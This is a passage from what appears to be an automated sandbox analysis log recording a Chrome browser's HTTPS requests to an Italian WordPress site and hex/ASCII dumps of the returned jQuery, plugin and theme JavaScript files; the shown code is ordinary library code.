0,"input"===(l=u.nodeName.toLowerCase())&&pe.test(s.type)?u.checked=s.checked:"input"!==l&&"textarea"!==l\|\|(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o\|\|ve(e),a=a\|\|ve(c),r=0,i=o.len
2025-01-09 12:19:23 UTC	16384	IN	Data Raw: 2e 73 65 6c 65 63 74 65 64 2c 28 74 74 3d 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 29 2e 76 61 6c 75 65 3d 22 74 22 2c 74 74 2e 74 79 70 65 3d 22 72 61 64 69 6f 22 2c 79 2e 72 61 64 69 6f 56 61 6c 75 65 3d 22 74 22 3d 3d 3d 74 74 2e 76 61 6c 75 65 3b 76 61 72 20 63 74 2c 66 74 3d 53 2e 65 78 70 72 2e 61 74 74 72 48 61 6e 64 6c 65 3b 53 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 24 28 74 68 69 73 2c 53 2e 61 74 74 72 2c 65 2c 74 2c 31 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 72 65 6d 6f 76 65 41 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 53 2e 72 65 Data Ascii: .selected,(tt=E.createElement("input")).value="t",tt.type="radio",y.radioValue="t"===tt.value;var ct,ft=S.expr.attrHandle;S.fn.extend({attr:function(e,t){return $(this,S.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){S.re
2025-01-09 12:19:23 UTC	7878	IN	Data Raw: 2e 67 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 2e 6c 65 6e 67 74 68 29 7d 2c 53 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 78 68 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 43 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 7d 63 61 74 63 68 28 65 29 7b 7d 7d 3b 76 61 72 20 42 74 3d 7b 30 3a 32 30 30 2c 31 32 32 33 3a 32 30 34 7d 2c 24 74 3d 53 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 78 68 72 28 29 3b 79 2e 63 6f 72 73 3d 21 21 24 74 26 26 22 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 22 69 6e 20 24 74 2c 79 2e 61 6a 61 78 3d 24 74 3d 21 21 24 74 2c 53 2e 61 6a 61 78 54 72 61 6e 73 70 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 6f 2c 61 3b 69 66 28 79 2e 63 6f 72 73 7c 7c 24 74 26 26 21 69 2e 63 Data Ascii: .getClientRects().length)},S.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e){}};var Bt={0:200,1223:204},$t=S.ajaxSettings.xhr();y.cors=!!$t&&"withCredentials"in $t,y.ajax=$t=!!$t,S.ajaxTransport(function(i){var o,a;if(y.cors\|\|$t&&!i.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.16	49786	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:23 UTC	578	OUT	GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:23 UTC	277	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:23 GMT Content-Type: text/javascript Content-Length: 11224 Connection: close Last-Modified: Thu, 11 Feb 2021 13:25:28 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:23 UTC	11224	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 76 33 2e 33 2e 32 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 21 30 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 Data Ascii: /! jQuery Migrate v3.3.2 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /"undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.16	49787	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:23 UTC	612	OUT	GET /wp-content/plugins/cookie-law-info/legacy/public/js/cookie-law-info-public.js?ver=3.0.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:23 UTC	277	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:23 GMT Content-Type: text/javascript Content-Length: 34179 Connection: close Last-Modified: Fri, 25 Nov 2022 09:48:11 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:23 UTC	16107	IN	Data Raw: 43 4c 49 5f 41 43 43 45 50 54 5f 43 4f 4f 4b 49 45 5f 4e 41 4d 45 20 3d 20 28 74 79 70 65 6f 66 20 43 4c 49 5f 41 43 43 45 50 54 5f 43 4f 4f 4b 49 45 5f 4e 41 4d 45 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 3f 20 43 4c 49 5f 41 43 43 45 50 54 5f 43 4f 4f 4b 49 45 5f 4e 41 4d 45 20 3a 20 27 76 69 65 77 65 64 5f 63 6f 6f 6b 69 65 5f 70 6f 6c 69 63 79 27 29 3b 0a 43 4c 49 5f 50 52 45 46 45 52 4e 43 45 5f 43 4f 4f 4b 49 45 20 3d 20 28 74 79 70 65 6f 66 20 43 4c 49 5f 50 52 45 46 45 52 4e 43 45 5f 43 4f 4f 4b 49 45 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 3f 20 43 4c 49 5f 50 52 45 46 45 52 4e 43 45 5f 43 4f 4f 4b 49 45 20 3a 20 27 43 6f 6f 6b 69 65 4c 61 77 49 6e 66 6f 43 6f 6e 73 65 6e 74 27 29 3b 0a 43 4c 49 5f 41 43 43 45 50 54 5f 43 4f Data Ascii: CLI_ACCEPT_COOKIE_NAME = (typeof CLI_ACCEPT_COOKIE_NAME !== 'undefined' ? CLI_ACCEPT_COOKIE_NAME : 'viewed_cookie_policy');CLI_PREFERNCE_COOKIE = (typeof CLI_PREFERNCE_COOKIE !== 'undefined' ? CLI_PREFERNCE_COOKIE : 'CookieLawInfoConsent');CLI_ACCEPT_CO
2025-01-09 12:19:23 UTC	16384	IN	Data Raw: 09 09 7d 20 65 6c 73 65 20 69 66 20 28 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 63 6f 6f 6b 69 65 5f 62 61 72 5f 61 73 20 3d 3d 20 27 77 69 64 67 65 74 27 29 20 7b 0a 09 09 09 74 68 69 73 2e 73 68 6f 77 61 67 61 69 6e 5f 63 6f 6e 66 69 67 2e 62 6f 74 74 6f 6d 20 3d 20 30 3b 0a 09 09 09 69 66 20 28 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 77 69 64 67 65 74 5f 70 6f 73 69 74 69 6f 6e 20 3d 3d 20 27 6c 65 66 74 27 29 20 7b 0a 09 09 09 09 74 68 69 73 2e 73 68 6f 77 61 67 61 69 6e 5f 63 6f 6e 66 69 67 2e 6c 65 66 74 20 3d 20 73 68 6f 77 61 67 61 69 6e 5f 78 5f 70 6f 73 3b 0a 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 77 69 64 67 65 74 5f 70 6f 73 69 74 69 6f 6e 20 3d 3d 20 27 72 69 67 68 74 27 29 20 7b 0a 09 09 09 09 Data Ascii: } else if (this.settings.cookie_bar_as == 'widget') {this.showagain_config.bottom = 0;if (this.settings.widget_position == 'left') {this.showagain_config.left = showagain_x_pos;} else if (this.settings.widget_position == 'right') {
2025-01-09 12:19:23 UTC	1688	IN	Data Raw: 70 74 2e 74 79 70 65 20 21 3d 20 73 2e 74 79 70 65 29 20 7b 0a 09 09 09 09 09 69 66 20 28 65 6c 65 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 20 3d 3d 3d 20 27 68 65 61 64 27 29 20 7b 0a 09 09 09 09 09 09 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 29 3b 0a 09 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 09 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 29 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 09 69 66 20 28 21 24 73 63 72 69 70 74 2e 73 72 63 29 20 7b 0a 09 09 09 09 09 09 63 61 6c 6c 62 61 63 6b 28 29 0a 09 09 09 09 09 7d 0a 09 09 09 09 09 24 73 63 72 69 70 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 24 73 63 72 69 70 74 29 3b 0a 0a 09 09 09 09 7d 20 Data Ascii: pt.type != s.type) {if (elementPosition === 'head') {document.head.appendChild(s);} else {document.body.appendChild(s);}if (!$script.src) {callback()}$script.parentNode.removeChild($script);}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.16	49788	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:23 UTC	581	OUT	GET /wp-content/themes/enfold/config-wpml/wpml-mod.js?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:23 UTC	275	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:23 GMT Content-Type: text/javascript Content-Length: 614 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:34 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:23 UTC	614	IN	Data Raw: 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 09 0a 20 20 20 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 0a 09 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 0a 09 7b 09 20 20 20 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 52 65 6d 6f 76 65 20 54 68 65 6d 65 73 20 64 75 70 6c 69 63 61 74 65 64 20 6c 61 6e 67 75 61 67 65 20 73 77 69 74 63 68 65 72 20 66 6c 61 67 73 20 66 72 6f 6d 20 42 75 72 67 65 72 20 6d 65 6e 75 0a 09 09 20 2a 09 09 2d 20 65 78 69 73 74 20 69 6e 20 73 65 63 6f 6e 64 61 72 79 20 6d 65 6e 75 0a 09 09 20 2a 09 09 2d 20 65 78 69 73 74 20 62 65 73 69 64 65 20 73 65 61 72 63 68 20 69 63 6f 6e 0a 09 09 20 2a 2f 0a 09 09 24 28 27 62 6f 64 79 27 29 2e 6f 6e 28 20 27 61 76 69 61 5f 62 75 72 67 65 72 5f 6c 69 73 74 Data Ascii: (function($){ "use strict";$(document).ready(function(){ /** * Remove Themes duplicated language switcher flags from Burger menu - exist in secondary menu - exist beside search icon */$('body').on( 'avia_burger_list

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.16	49789	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:23 UTC	575	OUT	GET /wp-content/themes/enfold/js/avia-compat.js?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:23 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:23 GMT Content-Type: text/javascript Content-Length: 2106 Connection: close Last-Modified: Mon, 18 Mar 2019 15:17:10 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:23 UTC	2106	IN	Data Raw: 2f 2a 20 0a 09 74 68 69 73 20 70 72 65 76 65 6e 74 73 20 64 6f 6d 20 66 6c 69 63 6b 65 72 69 6e 67 20 66 6f 72 20 65 6c 65 6d 65 6e 74 73 20 68 69 64 64 65 6e 20 77 69 74 68 20 6a 73 2c 20 6e 65 65 64 73 20 74 6f 20 62 65 20 6f 75 74 73 69 64 65 20 6f 66 20 64 6f 6d 2e 72 65 61 64 79 20 65 76 65 6e 74 2e 61 6c 73 6f 20 61 64 64 73 20 73 65 76 65 72 61 6c 20 65 78 74 72 61 20 63 6c 61 73 73 65 73 20 66 6f 72 20 62 65 74 74 65 72 20 62 72 6f 77 73 65 72 20 73 75 70 70 6f 72 74 20 0a 09 74 68 69 73 20 69 73 20 61 20 73 65 70 61 72 61 74 65 20 66 69 6c 65 20 74 68 61 74 20 6e 65 65 64 73 20 74 6f 20 62 65 20 6c 6f 61 64 65 64 20 61 74 20 74 68 65 20 74 6f 70 20 6f 66 20 74 68 65 20 70 61 67 65 2e 20 6f 74 68 65 72 20 6a 73 20 66 75 6e 63 74 69 6f 6e 73 20 61 Data Ascii: /* this prevents dom flickering for elements hidden with js, needs to be outside of dom.ready event.also adds several extra classes for better browser support this is a separate file that needs to be loaded at the top of the page. other js functions a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.16	49791	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:24 UTC	389	OUT	GET /wp-includes/js/jquery/jquery.min.js?ver=3.6.0 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:24 UTC	277	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:24 GMT Content-Type: text/javascript Content-Length: 89521 Connection: close Last-Modified: Sun, 11 Sep 2022 14:12:18 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:24 UTC	16107	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-09 12:19:24 UTC	16384	IN	Data Raw: 6c 3d 22 6f 6e 6c 79 22 3d 3d 3d 68 26 26 21 75 26 26 22 6e 65 78 74 53 69 62 6c 69 6e 67 22 7d 72 65 74 75 72 6e 21 30 7d 69 66 28 75 3d 5b 6d 3f 63 2e 66 69 72 73 74 43 68 69 6c 64 3a 63 2e 6c 61 73 74 43 68 69 6c 64 5d 2c 6d 26 26 70 29 7b 64 3d 28 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 63 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 26 26 72 5b 32 5d 2c 61 3d 73 26 26 63 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 73 5d 3b 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 26 Data Ascii: l="only"===h&&!u&&"nextSibling"}return!0}if(u=[m?c.firstChild:c.lastChild],m&&p){d=(s=(r=(i=(o=(a=c)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1])&&r[2],a=s&&c.childNodes[s];while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if(1===a.nodeType&
2025-01-09 12:19:24 UTC	16384	IN	Data Raw: 6d 28 72 29 7c 7c 28 61 3d 21 30 29 2c 6c 26 26 28 61 3f 28 74 2e 63 61 6c 6c 28 65 2c 72 29 2c 74 3d 6e 75 6c 6c 29 3a 28 6c 3d 74 2c 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6c 2e 63 61 6c 6c 28 53 28 65 29 2c 6e 29 7d 29 29 2c 74 29 29 66 6f 72 28 3b 73 3c 75 3b 73 2b 2b 29 74 28 65 5b 73 5d 2c 6e 2c 61 3f 72 3a 72 2e 63 61 6c 6c 28 65 5b 73 5d 2c 73 2c 74 28 65 5b 73 5d 2c 6e 29 29 29 3b 72 65 74 75 72 6e 20 69 3f 65 3a 6c 3f 74 2e 63 61 6c 6c 28 65 29 3a 75 3f 74 28 65 5b 30 5d 2c 6e 29 3a 6f 7d 2c 5f 3d 2f 5e 2d 6d 73 2d 2f 2c 7a 3d 2f 2d 28 5b 61 2d 7a 5d 29 2f 67 3b 66 75 6e 63 74 69 6f 6e 20 55 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 7d 66 75 6e 63 74 69 6f 6e 20 58 28 Data Ascii: m(r)\|\|(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(S(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},_=/^-ms-/,z=/-([a-z])/g;function U(e,t){return t.toUpperCase()}function X(
2025-01-09 12:19:24 UTC	16384	IN	Data Raw: 6f 63 28 65 29 29 29 66 6f 72 28 61 3d 76 65 28 63 29 2c 72 3d 30 2c 69 3d 28 6f 3d 76 65 28 65 29 29 2e 6c 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 73 3d 6f 5b 72 5d 2c 75 3d 61 5b 72 5d 2c 76 6f 69 64 20 30 2c 22 69 6e 70 75 74 22 3d 3d 3d 28 6c 3d 75 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 26 26 70 65 2e 74 65 73 74 28 73 2e 74 79 70 65 29 3f 75 2e 63 68 65 63 6b 65 64 3d 73 2e 63 68 65 63 6b 65 64 3a 22 69 6e 70 75 74 22 21 3d 3d 6c 26 26 22 74 65 78 74 61 72 65 61 22 21 3d 3d 6c 7c 7c 28 75 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 3d 73 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 29 3b 69 66 28 74 29 69 66 28 6e 29 66 6f 72 28 6f 3d 6f 7c 7c 76 65 28 65 29 2c 61 3d 61 7c 7c 76 65 28 63 29 2c 72 3d 30 2c 69 3d 6f 2e 6c 65 6e Data Ascii: oc(e)))for(a=ve(c),r=0,i=(o=ve(e)).length;r<i;r++)s=o[r],u=a[r],void 0,"input"===(l=u.nodeName.toLowerCase())&&pe.test(s.type)?u.checked=s.checked:"input"!==l&&"textarea"!==l\|\|(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o\|\|ve(e),a=a\|\|ve(c),r=0,i=o.len
2025-01-09 12:19:24 UTC	16384	IN	Data Raw: 2e 73 65 6c 65 63 74 65 64 2c 28 74 74 3d 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 29 2e 76 61 6c 75 65 3d 22 74 22 2c 74 74 2e 74 79 70 65 3d 22 72 61 64 69 6f 22 2c 79 2e 72 61 64 69 6f 56 61 6c 75 65 3d 22 74 22 3d 3d 3d 74 74 2e 76 61 6c 75 65 3b 76 61 72 20 63 74 2c 66 74 3d 53 2e 65 78 70 72 2e 61 74 74 72 48 61 6e 64 6c 65 3b 53 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 24 28 74 68 69 73 2c 53 2e 61 74 74 72 2c 65 2c 74 2c 31 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 72 65 6d 6f 76 65 41 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 53 2e 72 65 Data Ascii: .selected,(tt=E.createElement("input")).value="t",tt.type="radio",y.radioValue="t"===tt.value;var ct,ft=S.expr.attrHandle;S.fn.extend({attr:function(e,t){return $(this,S.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){S.re
2025-01-09 12:19:24 UTC	7878	IN	Data Raw: 2e 67 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 2e 6c 65 6e 67 74 68 29 7d 2c 53 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 78 68 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 43 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 7d 63 61 74 63 68 28 65 29 7b 7d 7d 3b 76 61 72 20 42 74 3d 7b 30 3a 32 30 30 2c 31 32 32 33 3a 32 30 34 7d 2c 24 74 3d 53 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 78 68 72 28 29 3b 79 2e 63 6f 72 73 3d 21 21 24 74 26 26 22 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 22 69 6e 20 24 74 2c 79 2e 61 6a 61 78 3d 24 74 3d 21 21 24 74 2c 53 2e 61 6a 61 78 54 72 61 6e 73 70 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 6f 2c 61 3b 69 66 28 79 2e 63 6f 72 73 7c 7c 24 74 26 26 21 69 2e 63 Data Ascii: .getClientRects().length)},S.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e){}};var Bt={0:200,1223:204},$t=S.ajaxSettings.xhr();y.cors=!!$t&&"withCredentials"in $t,y.ajax=$t=!!$t,S.ajaxTransport(function(i){var o,a;if(y.cors\|\|$t&&!i.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.16	49790	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:24 UTC	397	OUT	GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:24 UTC	277	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:24 GMT Content-Type: text/javascript Content-Length: 11224 Connection: close Last-Modified: Thu, 11 Feb 2021 13:25:28 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:24 UTC	11224	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 76 33 2e 33 2e 32 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 21 30 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 Data Ascii: /! jQuery Migrate v3.3.2 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /"undefined"==typeof 